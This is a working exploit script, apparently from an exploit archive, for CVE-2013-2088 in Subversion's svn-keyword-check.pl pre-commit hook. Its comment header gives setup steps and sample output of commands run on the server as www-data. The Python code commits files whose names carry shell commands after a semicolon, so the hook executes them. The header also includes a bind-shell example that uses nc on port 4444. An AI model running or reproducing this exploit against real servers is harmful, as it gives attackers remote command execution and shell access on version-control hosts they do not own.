1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 |
#This is an exploit for the subversion vulnerability published as CVE-2013-2088. #Author: GlacierZ0ne (kai@ktechnologies.de) #Exploit Type: Code Execution #Access Type: Authenticated Remote Exploit #Prerequisites: svn command line client available, # subversion server exposes webdav through apache, # user/password with commit privilege #The exploit has been tested with the following software: #* subversion 1.6.6 server on Ubuntu 10.06 server 64-bit #* subversion 1.6.12 (r955767) on Ubuntu 11.10 server 32-bit #* subversion client version 1.8.8 (r1568071) on Ubuntu 14.04 64-bit #The following conditions need to be met in order for this to work: #The pre-commit script svn-keyword-check.pl needs to be configured as #pre-commit hook. The version shipped with the subversion 1.6.6 contains #a bug which prevents it from being used at all. This bug must be fixed #(otherwise neither the exploit, nor the intented purpose of the script #will work) #This perl script can be downloaded from the archive source distribution #at http://archive.apache.org/dist/subversion/. Scripts before 1.6.23 #are vulnerable. ################################################################ #1. configure the pre-commit hook to use svn-keyword-check.pl ################################################################ #Copy the svn-keyword-check.pl from the source distribution to the #/svn/repos/<your repository>/hooks directory. Rename pre-commit.tmpl #to pre-commit. Make sure both files are owned by the user running #apache (e.g. www-data) and have the executable flag set: # #notroot@ubuntu:/$ cd /svn/repositories/testrepo/hooks #notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo mv pre-commit.tmpl pre-commit #notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo chmod +x pre-commit #notroot@ubuntu:/svn/repos/testrepo/hooks$ ls -al #total 76 #drwxr-xr-x 2 www-data www-data 4096 2016-09-30 13:35 . #drwxr-xr-x 7 www-data www-data 4096 2016-09-05 16:28 .. #-rw-r--r-- 1 www-data www-data 2000 2016-09-05 15:23 post-commit.tmpl #-rw-r--r-- 1 www-data www-data 1663 2016-09-05 15:23 post-lock.tmpl #-rw-r--r-- 1 www-data www-data 2322 2016-09-05 15:23 post-revprop-change.tmpl #-rw-r--r-- 1 www-data www-data 1592 2016-09-05 15:23 post-unlock.tmpl #-rwxr-xr-x 1 www-data www-data604 2016-09-30 13:32 pre-commit #-rw-r--r-- 1 www-data www-data609 2016-09-05 19:10 pre-commit.tmpl #-rw-r--r-- 1 www-data www-data 2410 2016-09-05 15:23 pre-lock.tmpl #-rw-r--r-- 1 www-data www-data 2796 2016-09-05 15:23 pre-revprop-change.tmpl #-rw-r--r-- 1 www-data www-data 2100 2016-09-05 15:23 pre-unlock.tmpl #-rw-r--r-- 1 www-data www-data 2830 2016-09-05 15:23 start-commit.tmpl #-rwxr-xr-x 1 www-data www-data 8340 2016-09-30 13:35 svn-keyword-check.pl #notroot@ubuntu:/svn/repos/testrepo/hooks$ #According to the subversion documentation, svn-keyword-check.pl needs #to be called by pre-commit. svn-keyword-check.pl will return 1 if it #detects something that should prevent the commit. In that case, the #subversion server will cancel the commit. Here's how pre-commit looked #on my test server: #notroot@ubuntu:/svn/repos/testrepo/hooks$ cat pre-commit ##!/bin/sh #REPOS="$1" #TXN="$2" ## Make sure that the log message contains some text. ##jSVNLOOK=/usr/bin/svnlook #$SVNLOOK log -t "$TXN" "$REPOS" | \ #ep "[a-zA-Z0-9]" > /dev/null || exit 1 # ## Exit on all errors. #set -e # ## Check the files that are are listed in "svnlook changed" (except deleted ## files) for possible problems with svn:keywords set on binary files. #"$REPOS"/hooks/svn-keyword-check.pl --repos $REPOS --transaction $TXN ## ## ## # ## All checks passed, so allow the commit. #exit 0 # ################################################################ # #2. fix the bug in svn-keyword-check.pl # ################################################################ #The script pre-commit will pass on repository and transaction to #the script svn-keyword-check.pl. Alternatively, it also accepts #repository and revision. However, specifying both transaction #and revision is illegal, only one of them is considered legal. #This reflects in the input parameter plausibility check # performed in line 89: # #if (defined($transaction) and !defined($revision)) { #croak "Can't define both revision and transaction!\n"; #} # #Unfortunately, there is an exclamation mark too much. It must #be # #if (defined($transaction) and defined($revision)) { #croak "Can't define both revision and transaction!\n"; #} # #The way this script is shipped in the 1.6.6 source distribution #no commit is possible at all. # #Before using the exploit you should first commit one file #manually so that the svn client can store your user/password #locally. # #Then, open a shell and navigate to the directory of your project #and start python cve-2013-2088-1.py <command>: # #kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py ifconfig #[+] Randfilename is mJHeSkya #[+] Created random file #[+] Submitted random file to version control #[+] Created fake file for cmd execution #[+] Exploit seems to work: # #eth0Link encap:EthernetHWaddr 00:0c:29:08:a3:1a #inet addr:192.168.26.136Bcast:192.168.26.255Mask:255.255.255.0 #inet6 addr: fe80::20c:29ff:fe08:a31a/64 Scope:Link #UP BROADCAST RUNNING MULTICASTMTU:1500Metric:1 #RX packets:1060 errors:0 dropped:0 overruns:0 frame:0 #TX packets:806 errors:0 dropped:0 overruns:0 carrier:0 #collisions:0 txqueuelen:1000 #RX bytes:172042 (172.0 KB)TX bytes:136684 (136.6 KB) # #loLink encap:Local Loopback #inet addr:127.0.0.1Mask:255.0.0.0 #inet6 addr: ::1/128 Scope:Host #UP LOOPBACK RUNNINGMTU:16436Metric:1 #RX packets:0 errors:0 dropped:0 overruns:0 frame:0 #TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 #collisions:0 txqueuelen:0 #RX bytes:0 (0.0 B)TX bytes:0 (0.0 B) # #kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py id #[+] Randfilename is WmolHiuv #[+] Created random file #[+] Submitted random file to version control #[+] Created fake file for cmd execution #[+] Exploit seems to work: # #uid=33(www-data) gid=33(www-data) groups=33(www-data) # # #Important things to notice #* For each command execution the exploit will put a file under #version control. If you submit a lot of commands you will #create a lot of files with random 8 alphanumeric character #file names in your repository. #* Your command must not contain a / since file names must not #contain a /. In the author's test environment the current #working directory of apache was the root folder /. #Therefore, the exploit will replace / in the command with #$(pwd). This worked fine for the author. #In your environment this might be different. As first thing #execute $(pwd) in order to check if this works for you, too. #* The command execution assumes that your command prints something #to the terminal and exits. If you know your command will not #immediately terminate (e.g. because you're starting a reverse/ #bind shell), provide the -d or --dont-terminate flag: #python svn_exploit2.py -d "/bin/bash 0</tmp/mypipe | nc -l 192.168.1.100 4444 1> /tmp/mypipe" # # # import sys import subprocess import argparse import random import os if __name__ == "__main__": lowerupper = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" slash_replacement = "$(pwd)" cwd = os.getcwd() parser = argparse.ArgumentParser (usage="python {} [options] command".format (sys.argv [0]), epilog="\x0a\x0a") parser.add_argument (dest="command", help="Command to execute") parser.add_argument ("-d", "--dont-terminate", help="don't force output be sent back to the client. Useful for reverse shell connections.", action="store_true") # # args handling # if (len(sys.argv) <= 1): parser.print_help () sys.exit (0) args = parser.parse_args () if not args.command: parser.print_help () sys.exit (0) # # / cannot be used in the command because svn will interprete it as # file separator. Therefore you have to use a workaround. Here, # $(pwd) works great for us. # command = args.command if command.find ("/") != -1: command = command.replace("/", slash_replacement) # # prepare output files for stdout, stderr # sout = open ("stdout", "w+") serr = open ("stderr", "w+") randfilename = "" for idx in range (0, 8): randfilename = randfilename + lowerupper [random.randint (0,51)] print ("[+] Randfilename is {}".format(randfilename)) f = open (randfilename, "w+") f.write ("You've been pwned by GlacierZ0ne'") # write 4 f.flush () f.close () p = subprocess.Popen (["svn", "add", "./{randfilename}".format (randfilename=randfilename)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) c = p.communicate () sout.write (c[0]) if len(c[1]) > 0: print ("[-] Create random file failed:") print (c[1]) sys.exit (0) print ("[+] Created random file") p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "./{randfilename}".format (randfilename=randfilename)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) c = p.communicate () sout.write (c[0]) if len(c[1]) > 0: print ("[-] Submission of random file failed:") print (c[1]) sys.exit (0) print ("[+] Submitted random file to version control") fakefilename = None if args.dont_terminate == True: fakefilename = "{}; {}".format (randfilename, command) else: fakefilename = "{}; {} 1>&2; exit 1".format (randfilename, command) f = open (fakefilename, "w+") f.write ("You've been pwned by GlacierZ0ne") # write 4 f.flush () f.close () p = subprocess.Popen (["svn", "add", "{fakefilename}" .format (cwd=cwd, fakefilename=fakefilename)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) c = p.communicate () sout.write (c[0]) if len(c[1]) > 0: print ("[-] Creation of fake file failed:") print (c[1]) sys.exit (0) print ("[+] Created fake file for cmd execution") p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "{fakefilename}" .format (cwd=cwd, fakefilename=fakefilename)], stdout=subprocess.PIPE, stderr=subprocess.PIPE) c = p.communicate () sout.write (c[0]) if len(c[1]) == 0: if not args.dont_terminate: print "[-] Something went wrong, pre-commit hook didn't kick in." else: print "[!] Done" sys.exit (0) else: idx0= c[1].find ("Commit blocked by pre-commit hook") idx = c[1].find ("failed with this output") if idx0 != -1 and idx != -1: print ("[+] Exploit seems to work: ") print (c[1][idx + len("failed with this output") + 1:]) sout.flush () sout.close () serr.flush () serr.close () |